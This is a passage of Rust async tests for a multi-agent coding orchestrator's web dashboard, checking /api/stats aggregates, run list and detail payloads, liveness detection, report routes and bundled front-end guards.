12128 touches: Vec::new(),
12129 why_not_naive: "breaks under load".to_owned(),
12130 }),
12131 error: None,
12132 duration_ms: 0,
12133 reflection: Reflection::Strong,
12134 },
12135 AdvisorRecord {
12136 seat: "advisor-2".to_owned(),
12137 agent: "alpha".to_owned(),
12138 proposal: None,
12139 error: Some("timed out".to_owned()),
12140 duration_ms: 0,
12141 reflection: Reflection::Absent,
12142 },
12143 ],
12144 synthesis: Some("blended brief".to_owned()),
12145 });
12146 let dir = f.runs().join(&state.id);
12147 std::fs::create_dir_all(&dir).expect("run dir");
12148 std::fs::write(
12149 dir.join("run.json"),
12150 serde_json::to_string_pretty(&state).expect("serialize run"),
12151 )
12152 .expect("write run.json");
12153
12154 let advisors = f.get("/api/stats?all=true").await.json()["advisors"].clone();
12156 let alpha = advisors
12157 .as_array()
12158 .expect("an array")
12159 .iter()
12160 .find(|a| a["agent"] == "alpha")
12161 .expect("alpha row");
12162 assert_eq!(alpha["seated"], 2);
12163 assert_eq!(alpha["proposed"], 1);
12164 assert_eq!(alpha["absent"], 1);
12165 assert_eq!(alpha["strong"], 1);
12166 assert_eq!(alpha["faint"], 0);
12167 assert_eq!(alpha["reflection_rate"]["pct"], 100.0);
12168 }
12169
12170 #[tokio::test]
12171 async fn stats_hides_agents_outside_the_roster_unless_all() {
12172 use crate::run::Candidate;
12173 let repo = TempDir::new().expect("repo dir");
12174 std::fs::write(
12175 repo.path().join("magi.toml"),
12176 "[[agents]]\nid = \"keep\"\nkind = \"claude\"\n",
12177 )
12178 .expect("magi.toml");
12179 let f = Fixture::with_repo(repo.path().to_path_buf()).await;
12180 let mut state = RunState::new(
12181 PathBuf::from("/repo/magi"),
12182 "main".to_owned(),
12183 "0123456789abcdef".to_owned(),
12184 "task".to_owned(),
12185 Config::default(),
12186 );
12187 state.id = "20260902-140501-a".to_owned();
12188 state.status = RunStatus::Merged;
12189 for (label, agent) in [('A', "keep"), ('B', "retired")] {
12190 let mut c: Candidate = serde_json::from_value(serde_json::json!({
12191 "index": 0, "label": label.to_string(), "agent": agent,
12192 "branch": "b", "worktree": "/w",
12193 }))
12194 .expect("candidate");
12195 c.label = label;
12196 state.candidates.push(c);
12197 }
12198 let dir = f.runs().join(&state.id);
12199 std::fs::create_dir_all(&dir).expect("run dir");
12200 std::fs::write(
12201 dir.join("run.json"),
12202 serde_json::to_string_pretty(&state).expect("serialize run"),
12203 )
12204 .expect("write run.json");
12205
12206 let agents_of = |v: &serde_json::Value| -> Vec<String> {
12207 v["agents"]
12208 .as_array()
12209 .expect("array")
12210 .iter()
12211 .map(|a| a["agent"].as_str().unwrap().to_owned())
12212 .collect()
12213 };
12214 let hidden = f.get("/api/stats").await.json();
12215 assert_eq!(agents_of(&hidden), ["keep"]);
12216 assert_eq!(hidden["retired_hidden"], serde_json::json!(["retired"]));
12217 assert_eq!(hidden["totals"]["runs"], 1);
12218
12219 let all = f.get("/api/stats?all=true").await.json();
12220 assert_eq!(agents_of(&all).len(), 2);
12221 assert_eq!(all["retired_hidden"], serde_json::json!([]));
12222 }
12223
12224 #[tokio::test]
12225 async fn stats_release_bumps_split_clean_from_attention() {
12226 use crate::run::ReleaseBump;
12227
12228 let f = Fixture::start().await;
12229
12230 let mut clean = RunState::new(
12231 PathBuf::from("/repo/magi"),
12232 "main".to_owned(),
12233 "0123456789abcdef".to_owned(),
12234 "task".to_owned(),
12235 Config::default(),
12236 );
12237 clean.id = "20260902-140501-a".to_owned();
12238 clean.status = RunStatus::Merged;
12239 clean.release_bump = Some(ReleaseBump {
12240 pr_url: Some("https://github.com/o/r/pull/1".to_owned()),
12241 version: Some("1.0.0".to_owned()),
12242 automerge_enabled: true,
12243 merged_directly: false,
12244 local: false,
12245 release: None,
12246 problem: None,
12247 action_required: None,
12248 });
12249
12250 let mut blocked = RunState::new(
12251 PathBuf::from("/repo/magi"),
12252 "main".to_owned(),
12253 "0123456789abcdef".to_owned(),
12254 "task".to_owned(),
12255 Config::default(),
12256 );
12257 blocked.id = "20260902-140502-b".to_owned();
12258 blocked.status = RunStatus::Merged;
12259 blocked.release_bump = Some(ReleaseBump {
12260 pr_url: Some("https://github.com/o/r/pull/2".to_owned()),
12261 version: Some("1.0.1".to_owned()),
12262 automerge_enabled: false,
12263 merged_directly: false,
12264 local: false,
12265 release: None,
12266 problem: Some("checks red".to_owned()),
12267 action_required: Some("look at the PR".to_owned()),
12268 });
12269
12270 for state in [&clean, &blocked] {
12271 let dir = f.runs().join(&state.id);
12272 std::fs::create_dir_all(&dir).expect("run dir");
12273 std::fs::write(
12274 dir.join("run.json"),
12275 serde_json::to_string_pretty(state).expect("serialize run"),
12276 )
12277 .expect("write run.json");
12278 }
12279
12280 let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
12281 assert_eq!(bumps["merged"], 2);
12282 assert_eq!(bumps["recorded"], 2);
12283 assert_eq!(bumps["pr_opened"], 2);
12284 assert_eq!(bumps["automerge_enabled"], 1);
12285 assert_eq!(bumps["needs_attention"], 1);
12286 assert_eq!(bumps["clean"], 1);
12287 assert_eq!(bumps["coverage_rate"]["pct"], 100.0);
12288 assert_eq!(bumps["attention_rate"]["pct"], 50.0);
12289 }
12290
12291 #[tokio::test]
12292 async fn stats_release_bumps_rates_are_null_with_nothing_recorded() {
12293 let f = Fixture::start().await;
12294 write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
12295
12296 let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
12297 assert_eq!(bumps["merged"], 1);
12298 assert_eq!(bumps["recorded"], 0);
12299 assert_eq!(bumps["coverage_rate"]["pct"], 0.0);
12302 assert_eq!(bumps["automerge_rate"], Value::Null);
12305 assert_eq!(bumps["attention_rate"], Value::Null);
12306 }
12307
12308 #[tokio::test]
12309 async fn stats_queue_counts_come_from_the_live_queue() {
12310 let f = Fixture::start().await;
12311 let q = f.queue();
12312 let mut queued = Task::new(
12313 "queued task".to_owned(),
12314 "do it".to_owned(),
12315 PathBuf::from("/repo"),
12316 Source::Human,
12317 );
12318 q.put(&mut queued).expect("put queued");
12319 let mut held = Task::new(
12320 "held task".to_owned(),
12321 "do it later".to_owned(),
12322 PathBuf::from("/repo"),
12323 Source::Human,
12324 );
12325 held.hold_machine(Some("out of attempts".to_owned()));
12326 q.put(&mut held).expect("put held");
12327
12328 let queue = f.get("/api/stats").await.json()["queue"].clone();
12329 assert_eq!(queue["queued"], 1);
12330 assert_eq!(queue["held"], 1);
12331 assert_eq!(queue["running"], 0);
12332 assert_eq!(queue["done"], 0);
12333 assert_eq!(queue["failed"], 0);
12334 assert_eq!(queue["blocked"], 0);
12335 }
12336
12337 #[tokio::test]
12338 async fn stats_on_an_empty_home_is_all_zero_not_an_error() {
12339 let f = Fixture::start().await;
12340 let stats = f.get("/api/stats").await;
12341 assert_eq!(stats.status, 200);
12342 assert_eq!(stats.json()["totals"]["runs"], 0);
12343 assert_eq!(stats.json()["totals"]["completion_rate"], Value::Null);
12344 assert_eq!(stats.json()["runs_unreadable"], 0);
12345 assert!(stats.json()["agents"].as_array().unwrap().is_empty());
12346 assert!(stats.json()["advisors"].as_array().unwrap().is_empty());
12347 assert!(stats.json()["repos"].as_array().unwrap().is_empty());
12348 assert_eq!(stats.json()["repo"], Value::Null);
12349 }
12350
12351 #[tokio::test]
12352 async fn stats_lists_every_repository_with_runs_recorded() {
12353 let f = Fixture::start().await;
12354 write_run_repo(
12355 &f.runs(),
12356 "20260902-140501-a",
12357 RunStatus::Merged,
12358 "/repos/a",
12359 );
12360 write_run_repo(
12361 &f.runs(),
12362 "20260902-140502-b",
12363 RunStatus::Merged,
12364 "/repos/a",
12365 );
12366 write_run_repo(
12367 &f.runs(),
12368 "20260902-140503-c",
12369 RunStatus::Blocked,
12370 "/repos/b",
12371 );
12372
12373 let stats = f.get("/api/stats").await;
12374 assert_eq!(stats.status, 200);
12375 assert_eq!(stats.json()["totals"]["runs"], 3);
12377 assert_eq!(stats.json()["repo"], Value::Null);
12378
12379 let repos = stats.json()["repos"].clone();
12380 let repos = repos.as_array().unwrap();
12381 assert_eq!(repos.len(), 2);
12382 assert_eq!(repos[0]["repo"], "/repos/a");
12384 assert_eq!(repos[0]["name"], "a");
12385 assert_eq!(repos[0]["runs"], 2);
12386 assert_eq!(repos[1]["repo"], "/repos/b");
12387 assert_eq!(repos[1]["runs"], 1);
12388 }
12389
12390 #[tokio::test]
12391 async fn stats_repo_query_narrows_the_aggregate_to_one_repository() {
12392 let f = Fixture::start().await;
12393 write_run_repo(
12394 &f.runs(),
12395 "20260902-140501-a",
12396 RunStatus::Merged,
12397 "/repos/a",
12398 );
12399 write_run_repo(
12400 &f.runs(),
12401 "20260902-140502-b",
12402 RunStatus::Blocked,
12403 "/repos/b",
12404 );
12405
12406 let stats = f.get("/api/stats?repo=%2Frepos%2Fa").await;
12407 assert_eq!(stats.status, 200);
12408 assert_eq!(stats.json()["totals"]["runs"], 1);
12409 assert_eq!(stats.json()["totals"]["merged"], 1);
12410 assert_eq!(stats.json()["repo"], "/repos/a");
12411 assert_eq!(stats.json()["repos"].as_array().unwrap().len(), 2);
12414 assert_eq!(stats.json()["runs_unreadable"], 0);
12417 }
12418
12419 #[tokio::test]
12420 async fn stats_daily_is_thirty_ascending_days_scoped_by_repo() {
12421 let f = Fixture::start().await;
12422 write_run_repo(
12423 &f.runs(),
12424 "20260902-140501-a",
12425 RunStatus::Merged,
12426 "/repos/a",
12427 );
12428 write_run_repo(
12429 &f.runs(),
12430 "20260902-140502-b",
12431 RunStatus::Merged,
12432 "/repos/b",
12433 );
12434
12435 for uri in ["/api/stats", "/api/stats?repo=%2Frepos%2Fa"] {
12436 let json = f.get(uri).await.json();
12437 let daily = json["daily"].as_array().expect("daily is an array");
12438 assert_eq!(daily.len(), 30);
12439 let dates: Vec<&str> = daily.iter().map(|d| d["date"].as_str().unwrap()).collect();
12440 let mut sorted = dates.clone();
12441 sorted.sort();
12442 assert_eq!(dates, sorted);
12443 for d in daily {
12444 assert_eq!(
12445 d["merged"].as_u64().unwrap()
12446 + d["ready"].as_u64().unwrap()
12447 + d["other"].as_u64().unwrap(),
12448 d["runs"].as_u64().unwrap()
12449 );
12450 }
12451 assert!(json["totals"]["runs"].as_u64().unwrap() >= 1);
12452 }
12453 }
12454
12455 #[tokio::test]
12456 async fn stats_repo_query_for_an_unknown_repo_is_a_404() {
12457 let f = Fixture::start().await;
12458 write_run_repo(
12459 &f.runs(),
12460 "20260902-140501-a",
12461 RunStatus::Merged,
12462 "/repos/a",
12463 );
12464
12465 let stats = f.get("/api/stats?repo=%2Frepos%2Fnope").await;
12466 assert_eq!(stats.status, 404);
12467 }
12468
12469 #[tokio::test]
12470 async fn a_run_is_summarised_for_the_list_and_served_whole_on_its_own_route() {
12471 let f = Fixture::start().await;
12472 write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Ready);
12473
12474 let summary = f.get("/api/runs").await.json();
12475 let row = &summary[0];
12476 assert_eq!(row["short"], "a1b2");
12477 assert_eq!(row["status"], "ready");
12478 assert_eq!(row["done"], true);
12479 assert_eq!(row["title"], "Add a web UI");
12480 assert_eq!(row["repo_name"], "magi");
12481 assert_eq!(row["judges"], 3);
12482 assert_eq!(row["winner"], Value::Null);
12483 assert_eq!(row["reviews"], 0);
12484
12485 let detail = f.get("/api/runs/a1b2").await;
12488 assert_eq!(detail.status, 200);
12489 assert_eq!(detail.json()["base_branch"], "main");
12490 assert_eq!(detail.json()["id"], "20260902-140501-a1b2");
12491 }
12492
12493 #[tokio::test]
12501 async fn a_mode_none_ready_run_is_flagged_unmerged_by_design_everywhere() {
12502 let f = Fixture::start().await;
12503
12504 let mut none_run = RunState::new(
12505 PathBuf::from("/repo/magi"),
12506 "main".to_owned(),
12507 "0123456789abcdef".to_owned(),
12508 "Add a web UI".to_owned(),
12509 Config::default(),
12510 );
12511 none_run.id = "20260902-140503-none".to_owned();
12512 none_run.status = RunStatus::Ready;
12513 none_run.merge = Some(crate::run::MergeOutcome {
12514 mode: crate::config::MergeMode::None,
12515 ok: true,
12516 detail: "git -C /repo merge --no-ff magi/x/A".to_owned(),
12517 empty: false,
12518 });
12519 write_state(&f.runs(), &none_run);
12520
12521 let mut pr_run = RunState::new(
12522 PathBuf::from("/repo/magi"),
12523 "main".to_owned(),
12524 "0123456789abcdef".to_owned(),
12525 "Add a web UI".to_owned(),
12526 Config::default(),
12527 );
12528 pr_run.id = "20260902-140504-prcl".to_owned();
12529 pr_run.status = RunStatus::Ready;
12530 pr_run.merge = Some(crate::run::MergeOutcome {
12531 mode: crate::config::MergeMode::Pr,
12532 ok: false,
12533 detail: "https://example.com/pr/1 was closed without merging".to_owned(),
12534 empty: false,
12535 });
12536 write_state(&f.runs(), &pr_run);
12537
12538 let summary = f.get("/api/runs").await.json();
12539 let rows: std::collections::HashMap<&str, &Value> = summary
12540 .as_array()
12541 .expect("an array")
12542 .iter()
12543 .map(|r| (r["id"].as_str().expect("an id"), r))
12544 .collect();
12545 assert_eq!(rows[none_run.id.as_str()]["status"], "ready");
12546 assert_eq!(
12547 rows[none_run.id.as_str()]["unmerged_by_design"],
12548 true,
12549 "a mode-none Ready must be flagged in the list"
12550 );
12551 assert_eq!(
12552 rows[pr_run.id.as_str()]["unmerged_by_design"],
12553 false,
12554 "a Ready reached by a closed pull request is a different case"
12555 );
12556
12557 let none_detail = f.get(&format!("/api/runs/{}", none_run.id)).await.json();
12558 assert_eq!(none_detail["status"], "ready");
12559 assert_eq!(none_detail["unmerged_by_design"], true);
12560
12561 let pr_detail = f.get(&format!("/api/runs/{}", pr_run.id)).await.json();
12562 assert_eq!(pr_detail["unmerged_by_design"], false);
12563 }
12564
12565 #[tokio::test]
12570 async fn run_detail_reports_active_seats_and_whether_a_daemon_confirms_them() {
12571 let f = Fixture::start().await;
12572 let id = "20260902-140502-bbbb";
12576 let mut state = RunState::new(
12577 PathBuf::from("/repo/magi"),
12578 "main".to_owned(),
12579 "0123456789abcdef".to_owned(),
12580 "Add a web UI".to_owned(),
12581 Config::default(),
12582 );
12583 state.id = id.to_owned();
12584 state.status = RunStatus::Judging;
12585 state.seat_started("judge", "judge-2", std::time::Duration::from_secs(120), 0);
12586 let dir = f.runs().join(id);
12587 std::fs::create_dir_all(&dir).expect("run dir");
12588 std::fs::write(
12589 dir.join("run.json"),
12590 serde_json::to_string_pretty(&state).expect("serialize run"),
12591 )
12592 .expect("write run.json");
12593
12594 let cold = f.get(&format!("/api/runs/{id}")).await.json();
12600 assert_eq!(cold["active"]["judge-2"]["node"], "judge");
12601 assert_eq!(cold["live"], "unknown", "{cold}");
12602
12603 write_daemon(f.home.path(), Timestamp::now());
12606 let warm = f.get(&format!("/api/runs/{id}")).await.json();
12607 assert_eq!(warm["live"], "live", "{warm}");
12608 }
12609
12610 #[tokio::test]
12613 async fn run_detail_shows_the_origin_and_reads_a_pre_origin_run_as_unknown() {
12614 let f = Fixture::start().await;
12615 let write = |id: &str, origin: Option<crate::run::Origin>, schema: Option<u32>| {
12616 let mut state = RunState::new(
12617 PathBuf::from("/repo/magi"),
12618 "main".to_owned(),
12619 "0123456789abcdef".to_owned(),
12620 "Add a web UI".to_owned(),
12621 Config::default(),
12622 );
12623 state.id = id.to_owned();
12624 state.origin = origin;
12625 let mut value = serde_json::to_value(&state).expect("serialize run");
12626 if let Some(schema) = schema {
12627 value["schema"] = serde_json::json!(schema);
12628 value.as_object_mut().unwrap().remove("origin");
12629 }
12630 let dir = f.runs().join(id);
12631 std::fs::create_dir_all(&dir).expect("run dir");
12632 std::fs::write(dir.join("run.json"), value.to_string()).expect("write run.json");
12633 };
12634 write(
12635 "20260930-092817-ec34",
12636 Some(crate::run::Origin::from_agent_env(
12637 Some(("4a7b".to_owned(), "chat".to_owned())),
12638 None,
12639 )),
12640 None,
12641 );
12642 write("20260930-092817-0ld1", None, Some(12));
12643
12644 let new = f.get("/api/runs/20260930-092817-ec34").await.json();
12645 assert_eq!(new["origin_label"], "chat 4a7b", "{new}");
12646 assert_eq!(new["origin"]["by"]["kind"], "chat", "{new}");
12647
12648 let old = f.get("/api/runs/20260930-092817-0ld1").await.json();
12649 assert_eq!(
12650 old["origin_label"], "origin unknown (started before origins were recorded)",
12651 "{old}"
12652 );
12653 assert!(old["origin"].is_null(), "{old}");
12654
12655 let list = f.get("/api/runs").await.json();
12656 let labels: Vec<_> = list
12657 .as_array()
12658 .unwrap()
12659 .iter()
12660 .map(|r| r["origin_label"].as_str().unwrap().to_owned())
12661 .collect();
12662 assert!(labels.contains(&"chat 4a7b".to_owned()), "{list}");
12663 }
12664
12665 #[tokio::test]
12672 async fn run_detail_reads_a_manual_run_with_a_live_driver_pid_as_live_without_a_daemon() {
12673 let f = Fixture::start().await;
12674 let id = "20260922-090000-cccc";
12675 let mut state = RunState::new(
12676 PathBuf::from("/repo/magi"),
12677 "main".to_owned(),
12678 "0123456789abcdef".to_owned(),
12679 "Review only".to_owned(),
12680 Config::default(),
12681 );
12682 state.id = id.to_owned();
12683 state.status = RunStatus::Reviewing;
12684 state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
12685 state.driver_pid = Some(std::process::id());
12691 state.driver_started_at = Some(
12692 crate::proc::process_started_at(std::process::id())
12693 .expect("this test process's own start time must be queryable"),
12694 );
12695 let dir = f.runs().join(id);
12696 std::fs::create_dir_all(&dir).expect("run dir");
12697 std::fs::write(
12698 dir.join("run.json"),
12699 serde_json::to_string_pretty(&state).expect("serialize run"),
12700 )
12701 .expect("write run.json");
12702
12703 let detail = f.get(&format!("/api/runs/{id}")).await.json();
12704 assert_eq!(detail["live"], "live", "{detail}");
12705 }
12706
12707 #[tokio::test]
12713 async fn run_detail_reads_a_live_pid_as_dead_once_its_start_time_no_longer_matches() {
12714 let f = Fixture::start().await;
12715 let id = "20260922-090100-dddd";
12716 let mut state = RunState::new(
12717 PathBuf::from("/repo/magi"),
12718 "main".to_owned(),
12719 "0123456789abcdef".to_owned(),
12720 "Review only".to_owned(),
12721 Config::default(),
12722 );
12723 state.id = id.to_owned();
12724 state.status = RunStatus::Reviewing;
12725 state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
12726 state.driver_pid = Some(std::process::id());
12731 state.driver_started_at = Some("1".to_owned());
12732 let dir = f.runs().join(id);
12733 std::fs::create_dir_all(&dir).expect("run dir");
12734 std::fs::write(
12735 dir.join("run.json"),
12736 serde_json::to_string_pretty(&state).expect("serialize run"),
12737 )
12738 .expect("write run.json");
12739
12740 let detail = f.get(&format!("/api/runs/{id}")).await.json();
12741 assert_eq!(detail["live"], "dead", "{detail}");
12742 }
12743
12744 #[test]
12748 fn summarize_asks_about_each_pid_once_and_keeps_the_row_meaning() {
12749 let mk = |id: &str, pid: Option<u32>| {
12750 let mut s = RunState::new(
12751 PathBuf::from("/repo/magi"),
12752 "main".to_owned(),
12753 "0123456789abcdef".to_owned(),
12754 "Add a web UI".to_owned(),
12755 Config::default(),
12756 );
12757 s.id = id.to_owned();
12758 s.driver_pid = pid;
12759 s.driver_started_at = Some("1790000000".to_owned());
12760 s
12761 };
12762 let states = vec![
12763 mk("20260902-140502-aaaa", Some(77)),
12764 mk("20260902-140502-bbbb", Some(77)),
12765 mk("20260902-140502-cccc", Some(77)),
12766 mk("20260902-140502-dddd", None),
12767 ];
12768 let open: HashSet<String> = ["20260902-140502-bbbb".to_owned()].into();
12769 let claimed: HashSet<String> = ["20260902-140502-dddd".to_owned()].into();
12770 let sup: HashMap<String, String> = [(
12771 "20260902-140502-aaaa".to_owned(),
12772 "20260902-140502-cccc".to_owned(),
12773 )]
12774 .into();
12775
12776 let status_calls = std::cell::Cell::new(0);
12777 let identity_calls = std::cell::Cell::new(0);
12778 let probe = std::cell::RefCell::new(crate::proc::ProcProbe::new(
12779 |_| {
12780 status_calls.set(status_calls.get() + 1);
12781 Some(true)
12782 },
12783 |_| {
12784 identity_calls.set(identity_calls.get() + 1);
12785 Some("1790000000".to_owned())
12786 },
12787 ));
12788 let rows = summarize(
12789 states,
12790 &open,
12791 &claimed,
12792 &sup,
12793 |p| probe.borrow_mut().status(p),
12794 |p| probe.borrow_mut().started_at(p),
12795 );
12796
12797 assert_eq!(status_calls.get(), 1, "one pid, one status query");
12798 assert_eq!(identity_calls.get(), 1, "one pid, one identity query");
12799 assert_eq!(rows.len(), 4);
12800 assert!(!rows[0].waiting && rows[1].waiting);
12801 assert_eq!(rows[0].live, crate::run::Liveness::Live);
12802 assert_eq!(rows[3].live, crate::run::Liveness::Live, "claim alone");
12803 assert_eq!(rows[0].superseded_by.as_deref(), Some("cccc"));
12804 assert_eq!(rows[1].superseded_by, None);
12805 }
12806
12807 #[test]
12808 fn run_list_exposes_a_confirmed_dead_driver_for_stale_presentation() {
12809 let mut state = RunState::new(
12810 PathBuf::from("/repo/magi"),
12811 "main".to_owned(),
12812 "0123456789abcdef".to_owned(),
12813 "Review only".to_owned(),
12814 Config::default(),
12815 );
12816 state.id = "20260922-090200-dead".to_owned();
12817 state.status = RunStatus::Reviewing;
12818 let row = serde_json::to_value(RunSummary::of(&state, false, crate::run::Liveness::Dead))
12819 .expect("serialize list row");
12820 assert_eq!(row["status"], "reviewing");
12821 assert_eq!(row["live"], "dead", "{row}");
12822 assert!(!row["done"].as_bool().unwrap());
12823 }
12824
12825 #[tokio::test]
12826 async fn the_run_list_is_newest_first_and_honours_a_limit() {
12827 let f = Fixture::start().await;
12828 for id in [
12829 "20260902-140501-aaaa",
12830 "20260902-140502-bbbb",
12831 "20260902-140503-cccc",
12832 ] {
12833 write_run(&f.runs(), id, RunStatus::Merged);
12834 }
12835
12836 let all = f.get("/api/runs").await.json();
12837 let capped = f.get("/api/runs?limit=2").await.json();
12838
12839 assert_eq!(all[0]["id"], "20260902-140503-cccc");
12840 assert_eq!(all.as_array().map(Vec::len), Some(3));
12841 assert_eq!(capped.as_array().map(Vec::len), Some(2));
12842 assert_eq!(capped[0]["id"], "20260902-140503-cccc");
12843 }
12844
12845 #[tokio::test]
12846 async fn the_report_route_serves_the_terminal_report_as_plain_text() {
12847 let f = Fixture::start().await;
12848 write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Blocked);
12849
12850 let res = f.get("/api/runs/20260902-140501-a1b2/report").await;
12851
12852 assert_eq!(res.status, 200);
12853 assert!(
12854 res.headers
12855 .contains("content-type: text/plain; charset=utf-8"),
12856 "a browser must render it, not download it: {}",
12857 res.headers
12858 );
12859 assert!(
12863 res.body.contains("20260902-140501-a1b2"),
12864 "the report is about the run that was asked for: {}",
12865 res.body
12866 );
12867 }
12868
12869 #[tokio::test]
12870 async fn the_report_json_route_serves_sections_and_never_hides_an_unreadable_run() {
12871 crate::run::pin_test_home();
12873 let f = Fixture::start().await;
12874 let id = "20260902-140501-a1b2";
12875 write_run(&f.runs(), id, RunStatus::Stalled);
12876 let path = f.runs().join(id).join("run.json");
12879 let mut v: serde_json::Value =
12880 serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
12881 v["tally"] = serde_json::json!({
12882 "first_choice": {"A": 1}, "borda": {"A": 2}, "winner": "A",
12883 "unanimous_initial": true, "deliberated": false, "changed_votes": 0,
12884 "unanimous_final": true, "judges": 3, "present": 1, "quorum": 2,
12885 "met_quorum": false, "rankings": 1
12886 });
12887 v["reviews"] = serde_json::json!([{
12888 "round": 1, "head": "abcdef0123", "answered": 1, "expected": 1, "blocking": 1,
12889 "e2e_deferred": true,
12890 "reviews": [{"reviewer": 1, "agent": "a", "findings": [
12891 {"id": "R1-1-1", "severity": "major", "title": "t", "file": "src/a.rs", "line": 3}
12892 ]}]
12893 }]);
12894 std::fs::write(&path, v.to_string()).unwrap();
12895 write_run(&f.runs(), "20260902-140502-dead", RunStatus::Blocked);
12896 std::fs::write(
12897 f.runs().join("20260902-140502-dead").join("run.json"),
12898 "{not json",
12899 )
12900 .unwrap();
12901
12902 let res = f.get(&format!("/api/runs/{id}/report.json")).await;
12903
12904 assert_eq!(res.status, 200, "{}", res.body);
12905 assert!(res.headers.contains("content-type: application/json"));
12906 let j = res.json();
12907 assert_eq!(j["schema"], 1);
12908 assert_eq!(j["header"]["id"], id);
12909 assert_eq!(j["header"]["tone"], "warn", "a stalled run is never ok");
12910 let kinds: Vec<&str> = j["sections"]
12911 .as_array()
12912 .unwrap()
12913 .iter()
12914 .map(|s| s["kind"].as_str().unwrap())
12915 .collect();
12916 assert_eq!(kinds, ["candidates", "tally", "review"]);
12917 let tally = &j["sections"][1]["tally"];
12918 assert_eq!(
12919 (tally["decided"].clone(), tally["provisional"].clone()),
12920 (false.into(), true.into())
12921 );
12922 let round = &j["sections"][2]["rounds"][0];
12923 assert_eq!(round["e2e"]["state"], "deferred");
12924 assert_eq!(round["findings"][0]["severity"], "major");
12925 assert_eq!(round["findings"][0]["blocking"], true);
12926 assert_eq!(round["findings"][0]["state"], "open");
12927
12928 assert_eq!(f.get(&format!("/api/runs/{id}/report")).await.status, 200);
12930
12931 let bad = f.get("/api/runs/20260902-140502-dead/report.json").await;
12933 assert_ne!(bad.status, 200, "{}", bad.body);
12934 assert_eq!(
12935 bad.status,
12936 f.get("/api/runs/20260902-140502-dead/report").await.status
12937 );
12938 assert_eq!(f.get("/api/health").await.json()["runs_unreadable"], 1);
12939 assert_eq!(
12940 f.get("/api/runs/20260902-999999-ffff/report.json")
12941 .await
12942 .status,
12943 404
12944 );
12945 }
12946
12947 #[tokio::test]
12948 async fn the_front_end_is_served_from_the_binary_with_types_a_phone_renders() {
12949 let f = Fixture::start().await;
12950
12951 let html = f.get("/").await;
12952 let css = f.get("/app.css").await;
12953 let js = f.get("/app.js").await;
12954
12955 assert_eq!((html.status, css.status, js.status), (200, 200, 200));
12956 assert!(
12957 html.headers
12958 .contains("content-type: text/html; charset=utf-8")
12959 );
12960 assert!(css.headers.contains("content-type: text/css"));
12961 assert!(js.headers.contains("content-type: text/javascript"));
12962 assert_eq!(html.body, INDEX_HTML, "compiled in, never read from disk");
12963 }
12964
12965 #[test]
12966 fn a_land_with_no_fix_rounds_says_so_instead_of_an_empty_rail() {
12967 let body = |name: &str| {
12968 let at = APP_JS
12969 .find(name)
12970 .unwrap_or_else(|| panic!("{name} missing"));
12971 &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
12972 };
12973 assert!(body("function roundRail").contains("if (round <= 0) return null;"));
12974 let note = body("function landRoundNote");
12975 assert!(note.contains("No fix rounds needed (0 of ${rounds} used)."));
12976 assert!(note.contains("Land round ${round}"));
12977 let land = body("function renderLand");
12978 let note_at = land
12979 .find("landRoundNote(pr)")
12980 .expect("renderLand uses the note");
12981 assert!(
12982 note_at
12983 < land
12984 .find("roundRail(pr)")
12985 .expect("renderLand uses the rail")
12986 );
12987 }
12988
12989 #[test]
12990 fn the_runs_page_redesign_keeps_its_guards() {
12991 let body = |name: &str| {
12992 let at = APP_JS
12993 .find(name)
12994 .unwrap_or_else(|| panic!("{name} missing"));
12995 &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
12996 };
12997 let land = body("function renderLand");
12999 let land = &land[..land.find("function followupList").unwrap_or(land.len())];
13000 assert!(
13001 !land.contains("box.append("),
13002 "renderLand must use append()"
13003 );
13004 assert!(land.contains("append(box, ["));
13005 assert!(body("function parseRoute").contains("RUN_TABS.includes(parts[2])"));
13007 assert!(
13008 body("function applyRoute")
13009 .contains("route.name !== state.route.name || route.id !== state.route.id")
13010 );
13011 assert!(!APP_JS.contains("adviseConvergeDiagram"));
13013 assert!(!INDEX_HTML.contains("advise-converge"));
13014 assert!(INDEX_HTML.contains("id=\"advise-strip\""));
13015 assert!(APP_JS.contains("provisional"));
13016 for id in [
13017 "run-tab-overview",
13018 "run-tab-timeline",
13019 "run-tab-report",
13020 "run-report",
13021 "runs-scope",
13022 ] {
13023 assert!(INDEX_HTML.contains(&format!("id=\"{id}\"")), "{id}");
13024 }
13025 assert!(!INDEX_HTML.contains("runs-tree"));
13026 assert!(!INDEX_HTML.contains("run-raw-panel"));
13027 assert!(APP_JS.contains("resume"));
13029 assert!(APP_JS.contains("unreadable"));
13031 }
13032
13033 #[test]
13034 fn the_unreadable_banner_is_dismissible_per_count_and_the_count_stays() {
13035 assert!(APP_JS.contains("magi-stats-unreadable-dismissed"));
13036 assert!(APP_JS.contains("s.runs_unreadable > 0 && s.runs_unreadable !== dismissed"));
13037 assert!(APP_JS.contains("setText(\n $(\"stats-unreadable-text\")"));
13038 assert!(INDEX_HTML.contains("id=\"stats-unreadable-close\""));
13039 assert!(INDEX_HTML.contains("aria-label=\"Dismiss unreadable-runs warning\""));
13040 assert!(APP_JS.contains("unreadable` : null"));
13042 }
13043
13044 #[test]
13045 fn the_run_detail_payload_says_whether_the_run_is_done() {
13046 for (status, done) in [
13048 (RunStatus::Superseded, true),
13049 (RunStatus::Blocked, true),
13050 (RunStatus::Landing, false),
13051 ] {
13052 let mut state = RunState::new(
13053 std::path::PathBuf::from("/repo"),
13054 "main".to_owned(),
13055 "abc".to_owned(),
13056 "x".to_owned(),
13057 crate::config::Config::default(),
13058 );
13059 state.status = status;
13060 let v = serde_json::to_value(RunDetailView::of(
13061 state,
13062 crate::run::Liveness::Unknown,
13063 None,
13064 None,
13065 None,
13066 ))
13067 .unwrap();
13068 assert_eq!(v["done"], done, "{status:?}");
13069 }
13070 }
13071
13072 fn has_strong(nodes: &[md::Node]) -> bool {
13074 serde_json::to_string(nodes).unwrap().contains("strong")
13075 }
13076
13077 #[test]
13078 fn the_run_detail_payload_carries_markdown_for_agent_prose() {
13079 let mut state = RunState::new(
13080 std::path::PathBuf::from("/repo"),
13081 "main".to_owned(),
13082 "abc".to_owned(),
13083 "x".to_owned(),
13084 crate::config::Config::default(),
13085 );
